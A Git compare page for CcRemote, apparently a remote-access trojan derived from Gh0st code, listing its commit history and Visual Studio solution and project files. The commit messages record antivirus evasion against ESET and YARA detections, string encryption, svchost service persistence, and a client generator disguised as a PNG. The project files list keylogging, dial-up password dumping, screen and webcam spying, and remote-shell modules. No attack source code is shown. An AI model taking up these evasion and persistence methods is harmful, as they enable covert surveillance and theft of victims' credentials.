Compare commits

..

113 Commits

Author SHA1 Message Date
Cc28257
643faacca1 update cservce.dll 2020-08-08 14:43:58 +08:00
Cc28256
a726d73711 Update README.md 2020-08-07 17:05:57 +08:00
Cc28256
1440a5de60 Update README.md 2020-08-01 17:50:25 +08:00
Cc28257
4ae635cd38 解决了rundll32加载dl时回调函数卡死在GetWindowText函数上的问题 2020-08-01 16:44:40 +08:00
Cc28257
4b8f225b7f 解除加密 2020-08-01 11:50:20 +08:00
Cc28256
8fd8041325 Update README.md 2020-07-31 17:15:45 +08:00
Cc28257
1d4b33550f 添加启动 2020-07-30 14:05:42 +08:00
Cc28256
3a9a5fa585 Update README.md 2020-07-29 16:29:59 +08:00
changcheng
5229350941 可运行 2020-07-28 16:53:43 +08:00
changcheng
1168cd57ec update 2020-07-28 16:33:06 +08:00
changcheng
ca30e3eee0 update 生成客户端 仿造PNG 2020-07-27 00:33:44 +08:00
Cc28257
0817ad4f64 测试版本 2020-07-25 18:49:49 +08:00
Cc28256
642abc37ee Update README.md 2020-07-25 16:49:41 +08:00
Cc28256
1aaf0ba72d Update README.md 2020-07-25 16:22:27 +08:00
Cc28257
8526ac5e15 生成客户端完成 管理员执行才可以 等待以后解决 2020-07-25 15:02:20 +08:00
Cc28257
d099304a85 update fix bug 2020-07-25 11:15:05 +08:00
Cc28257
c25286c021 Merge remote-tracking branch 'origin/test' 2020-07-22 14:07:01 +08:00
Cc28257
79648c130c update fix bug 2020-07-22 14:03:40 +08:00
Cc28256
e47417a184 Update README.md 2020-07-22 13:24:31 +08:00
changcheng
c9028528b2 active start 2020-07-21 23:46:01 +08:00
Cc28256
d3c213a17b Update README.md 2020-07-21 21:06:23 +08:00
changcheng
e6236c6fe3 update 2020-07-20 22:43:09 +08:00
Cc28256
879c6d91b4 Update README.md 2020-07-18 15:47:05 +08:00
Cc28256
38839bcf00 Update README.md 2020-07-18 15:16:38 +08:00
Cc28256
bf9af90d11 Update README.md 2020-07-18 15:13:18 +08:00
Cc28256
d3caf4b3c7 Update README.md
update shell manager
2020-07-18 14:43:26 +08:00
Cc28257
9b9ada6d6f update null 2020-07-18 13:57:59 +08:00
Cc28257
ce2bbd9dfb readme 2020-07-18 13:47:51 +08:00
changcheng
3c765bb391 update 2020-07-14 23:03:00 +08:00
Cc28256
1b29464c86 Update README.md 2020-07-11 19:44:09 +08:00
Cc28257
d8c29f12ee Merge branch 'master' of https://github.com/Cc28256/CcRemote 2020-07-11 18:41:08 +08:00
Cc28257
20ba634442 update readme 2020-07-11 18:40:44 +08:00
Cc28256
fb37fb3351 Create README.md 2020-07-11 18:35:07 +08:00
Cc28257
e4b81f2cc8 update 2020-07-11 18:23:14 +08:00
Cc28257
10d47a4668 fix bug rc open failed 2020-07-11 18:09:47 +08:00
changcheng
b4cbd079ab run 2020-07-10 23:57:45 +08:00
changcheng
1e498a27fe update 2020-07-09 23:52:07 +08:00
changcheng
dcd6dce57a 更新下线通知 2020-07-08 22:48:18 +08:00
Cc28257
f0286bc4b7 null 2020-07-07 16:17:22 +08:00
changcheng
1779436bd8 update ccremote 2020-07-06 23:14:24 +08:00
changcheng
7d0eba133c update ccremot 2020-07-06 03:07:55 +08:00
changcheng
b83633ab37 update 2020-07-05 23:34:10 +08:00
Cc28257
55fd407621 updates 2020-07-04 19:12:33 +08:00
Cc28257
031d90d7e5 add keyboard manage 2020-07-04 18:03:23 +08:00
Cc28257
6bec3f39e3 fix cmd shell bug 2020-07-04 14:04:55 +08:00
Cc28257
e4df075f41 update enum 2020-07-04 13:12:33 +08:00
Cc28257
c5441acbeb add menu res ico 2020-07-03 17:48:05 +08:00
Cc28257
4806c0a35f fix bug 2020-07-03 17:43:44 +08:00
Cc28257
df2f95e29e NULL 2020-07-03 15:48:13 +08:00
changcheng
b41d36ad3d load 2020-07-03 00:14:17 +08:00
Cc28257
0df44971ee 更新流程图 2020-07-02 10:51:18 +08:00
changcheng
ac601b4a57 update Add svchost Service 2020-07-01 23:10:59 +08:00
Cc28257
78d2e5d193 更新流程图 2020-07-01 19:05:43 +08:00
changcheng
e6bf19d7d0 添加loder工程,释放资源dll 2020-06-30 23:46:28 +08:00
changcheng
57ddc97543 流程图 2020-06-30 23:12:44 +08:00
Cc28257
af1ee77a38 添加服务端的流程图 2020-06-30 18:54:36 +08:00
changcheng
18b6093b62 update bmp 2020-06-29 15:22:04 +08:00
changcheng
fe08644d48 界面变更 2020-06-29 12:34:37 +08:00
Cc28257
dc7e4d9ae2 注释 2020-06-26 18:38:33 +08:00
Cc28257
7eb48f2436 Merge remote-tracking branch 'origin/master' into test 2020-06-26 16:17:48 +08:00
Cc28257
bd7c98b42d 图标更新 2020-06-26 16:15:35 +08:00
Cc28257
9a966988ae Merge remote-tracking branch 'origin/test' 2020-06-26 14:34:07 +08:00
Cc28257
bb75d929cc 注册表获取信息交互 2020-06-26 13:30:37 +08:00
Cc28257
17da000043 服务端注册表 2020-06-26 10:27:25 +08:00
Cc28257
910efd3d65 Synchronous account 2020-06-25 18:20:20 +08:00
Cc28257
2017d98ea3 Synchronous account 2020-06-25 18:17:06 +08:00
Cc28257
b7c685728f change name 2020-06-25 17:45:32 +08:00
Cc28256
e88d617fd6 change name 2020-06-25 17:24:42 +08:00
Cc28257
179ee30dc8 没有管理员权限 服务将不会获取服务的信息 不会有响应 2020-06-25 17:17:41 +08:00
Cc28257
f62203ff80 服务控制完善,需要管理员权限才可以执行,如果没有权限的话会造成崩溃,需要后续做判断 2020-06-25 12:02:55 +08:00
Cc28257
4ef747d0db 服务部分功能完善,解决没有权限导致崩溃的bug 2020-06-25 11:10:54 +08:00
Cc28257
b118b49309 服务端 zlib 使用高版本 1.2.11 避免开源yara库查杀低版本二zlib 2020-06-24 11:49:44 +08:00
Cc28257
219e47e8e2 控制端 zlib 使用高版本 1.2.11 2020-06-23 18:51:20 +08:00
Cc28257
84c52cb895 add service 控制端 2020-06-20 18:34:15 +08:00
Cc28257
b2c6fc3a23 git change email 2020-06-20 17:31:51 +08:00
Cc28257
93b91091fc strcry some global var 2020-06-20 17:09:43 +08:00
Cc28257
3943db0336 Anti Anti- Virus eset : a variant of Win32/Farfli.ADV trojan 2020-06-20 13:28:22 +08:00
Cc28257
00511401f8 strcry 2020-06-20 10:52:43 +08:00
Cc28257
1de023dfa4 测试杀软 2020-06-19 18:56:51 +08:00
Cc28257
b61421979c 服务端添加加密字符串示例 2020-06-18 19:12:58 +08:00
Cc28257
4793b09f3b 控制端改标记 2020-06-17 18:55:40 +08:00
Cc28257
b860325b46 git name change 2020-06-17 16:20:02 +08:00
ChangCheng
b1ac10498d 字符串加密示例 2020-06-17 11:46:20 +08:00
ChangCheng
a68ca8fc40 启动项替换完毕 2020-06-16 18:06:53 +08:00
ChangCheng
6b0a59d2b1 启动项替换 2020-06-13 17:21:23 +08:00
ChangCheng
7512936a9c 启动项+ 2020-06-12 18:52:06 +08:00
ChangCheng
feb20dcd4e 启动项查找demo 2020-06-11 18:52:35 +08:00
changcheng
d7f2bcec1c 音频管理已经编写,但是背景处理有点问题,以后再解决 2020-06-08 20:33:24 +08:00
ChangCheng
fda76bbbd1 文件管理部分功能得以通讯 2020-06-06 18:20:33 +08:00
ChangCheng
eed525d3f5 增加了一些注释和简单的代码,关于界面 2020-06-05 20:15:06 +08:00
changcheng
41c189a5a7 屏幕监控的功能可以通讯,解决一些bug 2020-06-04 22:41:54 +08:00
ChangCheng
d3ad76272a 注释几图标 2020-06-04 18:58:52 +08:00
changcheng
2afd8019a8 控制端与服务端屏幕监控可以交互,还没有完善,debug解决个很奇怪的bug 2020-06-04 00:31:32 +08:00
changcheng
d12cd9d6ac 控制端增加了屏幕监控的窗口及代码,编译通过 2020-06-02 23:34:15 +08:00
changcheng
208be40ccb 服务端增加一些注释 关于屏幕抓取 2020-06-01 23:57:17 +08:00
ChangCheng
3d3b2ce49a 更新代码,完成了服务端与控制端的窗口数据通讯 2020-05-30 18:38:58 +08:00
ChangCheng
cd670fdaed 添加部分图标 2020-05-30 17:21:56 +08:00
ChangCheng
2cee9bb467 添加了服务端遍历窗口数据的代码与注释 2020-05-30 16:36:31 +08:00
ChangCheng
c95afb225a 解决了进程遍历的多进程同路径导致控制端显示路径与进程对不上的问题 2020-05-29 13:16:43 +08:00
changcheng
5261d32d51 增加了服务与控制端的进程控制交互,能够结束进程 2020-05-29 00:16:25 +08:00
ChangCheng
2349891948 增加了框架xmind流程图,方便理解 2020-05-28 18:37:25 +08:00
changcheng
4bd0451420 更新了控制端进程窗口界面 2020-05-28 00:02:47 +08:00
changcheng
ef7c96720c 服务端遍历进程代码进行查看分析,添加部分注释 2020-05-26 23:20:50 +08:00
changcheng
d38532055a 添加了cmd终端控制功能,服务端控制端可交互,解决的显示连接数的bug 2020-05-25 20:02:57 +08:00
ChangCheng
d396e8777e 解决了在缺少运行时库XXX.DLL的电脑上运行的问题 2020-05-23 16:15:44 +08:00
ChangCheng
1bc9a890b1 增加了控制端的一些代码,获取一些服务端的数据显示在列表中 2020-05-23 15:04:28 +08:00
changcheng
2fe1905f47 添加了test工程,加载dll与控制端进行通信,解决了一些bug 2020-05-23 00:51:31 +08:00
ChangCheng
3b5ea5b85d 修改了环境设置,使 relesr and debug 版本编译都得到了通过 2020-05-22 10:23:26 +08:00
changcheng
e1bbb1530f 修改添加了ghost服务端的主要代码,relese版本环境编译通过 2020-05-22 00:56:51 +08:00
ChangCheng
6a882cb6f4 添加了一些注释和调整一些代码,变化不大 2020-05-21 18:33:18 +08:00
ChangCheng
96fb9dcecc 添加了一些注释和调整一些代码,变化不大 2020-05-21 18:29:53 +08:00
changcheng
a47ca50009 创建了服务端工程,将ghost部分核心代码添加到工程 2020-05-21 00:06:23 +08:00
ChangCheng
270ad0fd3c 添加了一些注释和调整一些代码,变化不大 2020-05-19 19:09:26 +08:00
266 changed files with 23325 additions and 778 deletions

Binary file not shown.

51
CcMainDll/CcMainDll.sln Normal file
View File

@@ -0,0 +1,51 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1082
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.ActiveCfg = Debug|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.Build.0 = Debug|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.ActiveCfg = Debug|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.Build.0 = Debug|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.ActiveCfg = Release|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {65608601-21C9-427B-B6B6-253BC293B2BA}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,314 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{912043E1-526F-4C23-AF8B-0D76C07F5723}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CcMainDll</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\zlib\zlib.h" />
<ClInclude Include="ClientSocket.h" />
<ClInclude Include="common\AudioManager.h" />
<ClInclude Include="common\Buffer.h" />
<ClInclude Include="common\Dialupass.h" />
<ClInclude Include="common\filemanager.h" />
<ClInclude Include="common\install.h" />
<ClInclude Include="common\KernelManager.h" />
<ClInclude Include="common\KeyboardManager.h" />
<ClInclude Include="common\login.h" />
<ClInclude Include="common\loop.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\RegeditOpt.h" />
<ClInclude Include="common\RegManager.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ServerManager.h" />
<ClInclude Include="common\ShellManager.h" />
<ClInclude Include="common\SystemManager.h" />
<ClInclude Include="common\until.h" />
<ClInclude Include="common\VideoCap.h" />
<ClInclude Include="common\VideoManager.h" />
<ClInclude Include="DynamicAPI.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="StrCry.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="ClientSocket.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="common\install.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
